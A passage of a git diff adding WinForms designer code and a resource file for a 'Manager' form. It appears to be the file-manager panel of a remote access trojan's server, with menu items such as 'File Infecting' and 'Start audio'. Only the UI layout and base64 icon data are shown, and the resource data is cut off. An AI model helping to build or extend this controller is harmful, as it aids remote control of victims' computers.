"systemToolStripMenuItem"; + this.systemToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.systemToolStripMenuItem.Text = "System"; + this.systemToolStripMenuItem.Click += new EventHandler(this.systemToolStripMenuItem_Click); + this.normalToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.normalToolStripMenuItem.ForeColor = Color.Lime; + this.normalToolStripMenuItem.Name = "normalToolStripMenuItem"; + this.normalToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.normalToolStripMenuItem.Text = "Normal"; + this.normalToolStripMenuItem.Click += new EventHandler(this.normalToolStripMenuItem_Click); + this.readOnlyToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.readOnlyToolStripMenuItem.ForeColor = Color.Lime; + this.readOnlyToolStripMenuItem.Name = "readOnlyToolStripMenuItem"; + this.readOnlyToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.readOnlyToolStripMenuItem.Text = "Read Only"; + this.readOnlyToolStripMenuItem.Click += new EventHandler(this.readOnlyToolStripMenuItem_Click); + this.direcToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.direcToolStripMenuItem.ForeColor = Color.Lime; + this.direcToolStripMenuItem.Name = "direcToolStripMenuItem"; + this.direcToolStripMenuItem.Size = new Size(128 /*0x80*/, 22); + this.direcToolStripMenuItem.Text = "Directory"; + this.direcToolStripMenuItem.Click += new EventHandler(this.direcToolStripMenuItem_Click); + this.cutToolStripMenuItem1.BackColor = Color.FromArgb(17, 17, 17); + this.cutToolStripMenuItem1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.cutToolStripMenuItem1.Name = "cutToolStripMenuItem1"; + this.cutToolStripMenuItem1.Size = new Size(191, 22); + this.cutToolStripMenuItem1.Text = "Cut"; + this.cutToolStripMenuItem1.Click += new EventHandler(this.cutToolStripMenuItem1_Click); + this.pasteToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.pasteToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; + this.pasteToolStripMenuItem.Size = new Size(191, 22); + this.pasteToolStripMenuItem.Text = "Paste"; + this.pasteToolStripMenuItem.Click += new EventHandler(this.pasteToolStripMenuItem_Click); + this.copyMeToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.copyMeToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.copyMeToolStripMenuItem.Name = "copyMeToolStripMenuItem"; + this.copyMeToolStripMenuItem.Size = new Size(191, 22); + this.copyMeToolStripMenuItem.Text = "Copy Me"; + this.copyMeToolStripMenuItem.Click += new EventHandler(this.copyMeToolStripMenuItem_Click); + this.copyToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.copyToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; + this.copyToolStripMenuItem.Size = new Size(191, 22); + this.copyToolStripMenuItem.Text = "Copy"; + this.copyToolStripMenuItem.Click += new EventHandler(this.copyToolStripMenuItem_Click); + this.startAudioToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.startAudioToolStripMenuItem.ForeColor = Color.Red; + this.startAudioToolStripMenuItem.Name = "startAudioToolStripMenuItem"; + this.startAudioToolStripMenuItem.Size = new Size(191, 22); + this.startAudioToolStripMenuItem.Text = "Start audio"; + this.startAudioToolStripMenuItem.Click += new EventHandler(this.startAudioToolStripMenuItem_Click); + this.fileInfectingToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.fileInfectingToolStripMenuItem.ForeColor = Color.Red; + this.fileInfectingToolStripMenuItem.Name = "fileInfectingToolStripMenuItem"; + this.fileInfectingToolStripMenuItem.Size = new Size(191, 22); + this.fileInfectingToolStripMenuItem.Text = "File Infecting"; + this.fileInfectingToolStripMenuItem.Click += new EventHandler(this.fileInfectingToolStripMenuItem_Click); + this.TextBoxPathForFile.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.TextBoxPathForFile.CustomButton.Image = (Image) null; + this.TextBoxPathForFile.CustomButton.Location = new Point(697, 1); + this.TextBoxPathForFile.CustomButton.Name = ""; + this.TextBoxPathForFile.CustomButton.Size = new Size(23, 23); + this.TextBoxPathForFile.CustomButton.Style = MetroColorStyle.Blue; + this.TextBoxPathForFile.CustomButton.TabIndex = 1; + this.TextBoxPathForFile.CustomButton.Theme = MetroThemeStyle.Light; + this.TextBoxPathForFile.CustomButton.UseSelectable = true; + this.TextBoxPathForFile.CustomButton.Visible = false; + this.TextBoxPathForFile.Lines = new string[0]; + this.TextBoxPathForFile.Location = new Point(236, 3); + this.TextBoxPathForFile.MaxLength = (int) short.MaxValue; + this.TextBoxPathForFile.Name = "TextBoxPathForFile"; + this.TextBoxPathForFile.PasswordChar = char.MinValue; + this.TextBoxPathForFile.ReadOnly = true; + this.TextBoxPathForFile.ScrollBars = ScrollBars.None; + this.TextBoxPathForFile.SelectedText = ""; + this.TextBoxPathForFile.SelectionLength = 0; + this.TextBoxPathForFile.SelectionStart = 0; + this.TextBoxPathForFile.ShortcutsEnabled = true; + this.TextBoxPathForFile.Size = new Size(721, 25); + this.TextBoxPathForFile.Style = MetroColorStyle.Lime; + this.TextBoxPathForFile.TabIndex = 18; + this.TextBoxPathForFile.Theme = MetroThemeStyle.Dark; + this.TextBoxPathForFile.UseSelectable = true; + this.TextBoxPathForFile.UseStyleColors = true; + this.TextBoxPathForFile.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.TextBoxPathForFile.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.imageList3.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList3.ImageStream"); + this.imageList3.TransparentColor = Color.Transparent; + this.imageList3.Images.SetKeyName(0, "AsyncFolder.ico"); + this.imageList3.Images.SetKeyName(1, "AsyncHDDFixed.png"); + this.imageList3.Images.SetKeyName(2, "AsyncUSB.png"); + this.panel1.Controls.Add((Control) this.FileManager); + this.panel1.Dock = DockStyle.Fill; + this.panel1.Location = new Point(20, 60); + this.panel1.Name = "panel1"; + this.panel1.Size = new Size(960, 402); + this.panel1.TabIndex = 15; + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.hName.Text = "Name"; + this.hName.Width = 173; + this.hType.Text = "Type"; + this.hType.Width = 104; + this.hValue.Text = "Value"; + this.hValue.Width = 214; + this.ImageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("ImageList1.ImageStream"); + this.ImageList1.TransparentColor = Color.Transparent; + this.ImageList1.Images.SetKeyName(0, "Icon_1.bmp"); + this.ImageList1.Images.SetKeyName(1, "Icon_5.bmp"); + this.ImageList1.Images.SetKeyName(2, "Icon_8.bmp"); + this.ImageList1.Images.SetKeyName(3, "Icon_27.bmp"); + this.ImageList1.Images.SetKeyName(4, "Icon_178.bmp"); + this.ImageList1.Images.SetKeyName(5, "Icon_274.bmp"); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(1000, 482); + this.Controls.Add((Control) this.panel1); + this.ForeColor = Color.FromArgb((int) byte.MaxValue, 128 /*0x80*/, 0); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormFileManager); + this.Style = MetroColorStyle.Lime; + this.Text = "Manager"; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.Manager_Load); + this.FileManager.ResumeLayout(false); + ((ISupportInitialize) this.metroGridPathes).EndInit(); + this.contextMenuStrip2.ResumeLayout(false); + ((ISupportInitialize) this.metroGridDirictorys).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.panel1.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormFileManager.resx b/Server/Server/Forms/FormFileManager.resx new file mode 100644 index 0000000..dd9d8bd --- /dev/null +++ b/Server/Server/Forms/FormFileManager.resx @@ -0,0 +1,129 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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